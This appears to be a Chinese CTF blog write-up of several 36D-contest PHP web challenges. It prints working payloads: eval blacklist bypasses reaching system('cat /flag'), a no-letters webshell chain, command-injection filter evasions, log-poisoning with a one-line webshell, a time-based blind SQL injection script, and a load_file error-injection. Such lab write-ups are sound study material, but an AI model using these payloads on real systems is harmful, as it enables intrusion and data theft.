WEB_你取吧
给了源码
<?php
error_reporting(0);
show_source(__FILE__);
$hint=file_get_contents('php://filter/read=convert.base64-encode/resource=hhh.php');
$code=$_REQUEST['code'];
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','\~','\^');
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $code)) {
die('nonono');
}
}
eval("echo($code);");
怎么绕呢?
解法1:
用$$ :${${7}.${8}.${12}.${19}} 出来是$hint
这道题在websec.fr上有类似的题目,具体参数为level22,可以参考https://blog.ankursundara.com/websec-fr-solutions/
You can access array elements using
{}
instead of[]
. We can call functions in the blacklist via$blacklist{index}()
. We search through the blacklist to findvar_dump
, and see that it is at index579
. We callvar_dump($a)
to dump the flag.
原理是什么呢:
通过上面的write-up,我们可以知道,使用${}可以截取黑名单中的字符,题目源码又给了hint,直接从黑名单中选取相应的字符位置,${7}=h 然后最终用${}包裹,就会变成$hint,就可以读到Hhh.php 经过base64编码后的源码了
解密得到一个压缩包:·phpjiami.zip·和一个地址:‘’hint.php‘’
下载下来发现有混淆,使用php反混淆工具解密,发现shell
在hint.php链接获得flag
赛后看了一下其他师傅的WP还学到了很多新解法
解法2:
构造chr函数直接截取成system('cat /flag')
code=($1=${2}.${7}.${17}).
($__=$_1(99).$_1(97).$_1(116).$_1(32).$_1(47).$_1(102).$_1(108).$_1(97).$_1(103)).
($_2=$_1(115).$_1(121).$_1(115).$_1(116).$_1(101).$_1(109)).
($_2($__))
这里用.代替了;执行多语句,学到了学到了
解法3:
在 wh1sper师傅的博客中还发现了用三元运算符构造hint。具体可查:CTFshow 36D杯
在这张图表上,’@’|'(任何左侧符号)’=='(右侧小写字母)’
也就是说, '@'|'!'=='a' ,于是我们用以下playload就可以读取 $hint (’@@@@’|'().4′ == ‘hint’):
- ?code= ($_ = '@@@@'|'().4') == 1?1:$$_
解法4:
P神的无数字字母getshell
?code=" ");$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);//
首先闭合前面的echo然后新构造一个 参考y1ng师傅
解法5:
国内暂时没见过这样的解法(可能我没见过),暂时不写明
解法6:
code='2');/???/?? /???? ./
;/*
直接/bin/cp /flag ./
然后直接访问
WEB_WUSTCTF_朴实无华_Revenge
给了源码
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
function isPalindrome($str){
$len=strlen($str);
$l=1;
$k=intval($len/2)+1;
for($j=0;$j<$k;$j++)
if (substr($str,$j,1)!=substr($str,$len-$j-1,1)) {
$l=0;
break;
}
if ($l==1) return true;
else return false;
}
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
$numPositve = intval($num);
$numReverse = intval(strrev($num));
if (preg_match('/[^0-9.-]/', $num)) {
die("非洲欢迎你1");
}
if ($numPositve <= -999999999999999999 || $numPositve >= 999999999999999999) { //在64位系统中 intval()的上限不是2147483647 省省吧
die("非洲欢迎你2");
}
if( $numPositve === $numReverse && !isPalindrome($num) ){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5(md5($md5)))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("more", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("less", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("head", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("$", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("php", "36dCTFShow", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
测试后发现intval函数在传入 . -的时候返回int(0) 所以可以用这个绕过
payload:?num=0.01.0&md5=0e1138100474&get_flag=ca\t</flag
第二层0e弱类型比较跑一下就有了
#coding:utf-8
import hashlib
for i in range(999999999,10**33):
i = str(i)
num = '0e' + i
md5 = hashlib.md5(num.encode()).hexdigest()
md52 = hashlib.md5(md5.encode()).hexdigest()
if md52[0:2] == '0e' and md52[2:].isdigit():
print('success str:{} md5(str):{}'.format(num, md5))
break
后来y1ng师傅修了一下:
加了
if ($num != $numPositve) {
die('最开始上题时候忘写了这个,导致这level 1变成了弱智,怪不得这么多人solve');
if (preg_match("/\'|\|[|*/", $get_flag)) {
die('非预期修复*2');
不用cat用nl</flag,或者od</flag,或者xxd</flag,或者fmt</flag,或者fold</flag
又修了一下过滤了之前的方法,所以不能通过0.012.0这样的方法绕过
赛后看了一下Y1ng师傅的WP,是因为浮点精度的问题
这里直接截图一下Y1ng师傅的博客
具体可以参考:CTFshow 36D Web Writeup
WEB_ALL_INFO_U_WANT
打开靶机,扫描一下发现了bak备份
下载
visit all_info_u_want.php and you will get all information you want
= =Thinking that it may be difficult, i decided to show you the source code:
<?php
error_reporting(0);
//give you all information you want
if (isset($_GET['all_info_i_want'])) {
phpinfo();
}
if (isset($_GET['file'])) {
$file = "/var/www/html/" . $_GET['file'];
//really baby include
include($file);
}
给了phpinfo和文件包含代码,猜测就包含了,包含一下access.log发现有返回
在User-Agent写入一句话木马上传shell
file=../../../../../../../../var/log/nginx/access.log
在etc手撕一下获得flag
还有第二种解法,Y1ng师傅博客很详细了,有空复现下
WEB_RemoteImageDownloader
打开靶机是一个输入框,给了http:??。猜测是ssrf了
随便测试一下发现返回的是截图
发现了这篇文章
https://www.anquanke.com/post/id/86371
我们只需要在自己的vps上建立一个js
写一个html跳转到这个js查看日志就有flag
WEB_给你shell
打开靶机,有源码:
<?php
//It's no need to use scanner. Of course if you want, but u will find nothing.
error_reporting(0);
include "config.php";
if (isset($_GET['view_source'])) {
show_source(__FILE__);
die;
}
function checkCookie($s) {
$arr = explode(':', $s);
if ($arr[0] === '{"secret"' && preg_match('/^[\"0-9A-Z]*}$/', $arr[1]) && count($arr) === 2 ) {
return true;
} else {
if ( !theFirstTimeSetCookie() ) setcookie('secret', '', time()-1);
return false;
}
}
function haveFun($_f_g) {
$_g_r = 32;
$_m_u = md5($_f_g);
$_h_p = strtoupper($_m_u);
for ($i = 0; $i < $_g_r; $i++) {
$_i = substr($_h_p, $i, 1);
$_i = ord($_i);
print_r($_i & 0xC0);
}
die;
}
isset($_COOKIE['secret']) ? $json = $_COOKIE['secret'] : setcookie('secret', '{"secret":"' . strtoupper(md5('y1ng')) . '"}', time()+7200 );
checkCookie($json) ? $obj = @json_decode($json, true) : die('no');
if ($obj && isset($_GET['give_me_shell'])) {
($obj['secret'] != $flag_md5 ) ? haveFun($flag) : echo "here is your webshell: $shell_path";
}
die;
查看cookie发现secret
和这道题类似,爆破一下发现cookie为115的时候有新页面改cookie为{"secret":115},传入give_me_shell=1
进入下一个页面
<?php
error_reporting(0);
session_start();
//there are some secret waf that you will never know, fuzz me if you can
require "hidden_filter.php";
if (!$_SESSION['login'])
die('');
if (!isset($_GET['code'])) {
show_source(__FILE__);
exit();
} else {
$code = $_GET['code'];
if (!preg_match($secret_waf, $code)) {
//清空session 从头再来
eval("\$_SESSION[" . $code . "]=false;"); //you know, here is your webshell, an eval() without any disabled_function. However, eval() for $_SESSION only XDDD you noob hacker
} else die('hacker');
}
/*
* When you feel that you are lost, do not give up, fight and move on.
* Being a hacker is not easy, it requires effort and sacrifice.
* But remember … we are legion!
* ————Deep CTF 2020
*/
测试后发现过滤了一吨字符,但是没过滤取反,
?code=]=123?><?=require@~%d0%99%93%9e%98?>
获得flag
WEB_Login_Only_For_36D
注入题,过滤了分号之类的,用\逃逸不多说了,然后测试一下发现select没了,布尔盲注没回显,时间盲注可以
无列名注入,盲猜password列
脚本:
import requests as req
import time
def ord2hex(string):
result = ''
for i in string:
result += hex(ord(i))
result = result.replace('0x','')
return '0x'+result
flag=''
url = "https://dc695489-cf68-45f2-97f9-1a21f62ba9e3.chall.ctf.show/"
string = [ord(i) for i in 'IABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789']
for i in range(50):
for j in string:
password = ord2hex(res+chr(j))
password = 'or/**/if((password/**/REGEXP/**/binary/**/{}),sleep(10),1)#'.format(password)
data = {
'username':"admin\\",
'password':password
}
startTime=time.time()
r = req.post(url=url, data=data)
endtime=time.time()
if endtime - startTime > 5:
flag += chr(j)
print(flag)
break
跑一会儿出了密码ILoVeThlrtySixD(环境比较卡,多跑几次就出来了,测试password长度为15)
登录即flag(BJD脚本用到现在可太有趣了)
WEB_你没见过的注入
题目提示直接给了:
- 不需要爆破、扫描
- 没有源码泄露
- 登陆不上去找txt
看到txt,想到的肯定是robots.txt了,访问发现重置密码界面(真后门)
重置密码后进入前台,发现是文件上传
根据题目名称,看来是在文件上传处进行注入了。
测了一会儿后发现是元数据注入,找个图片在版权信息报错注入读文件
u'or updatexml(1,concat(0x7e,(select left(load_file("/flag"),25))),0) or '
flag长多截取点
咱也是看群里聊天才知道这个注入的,咱也啥也不会
[…] 参考>>Ha1c9on师傅 […]
[…] ha1c9on:[36DCTF]WEB Write Up […]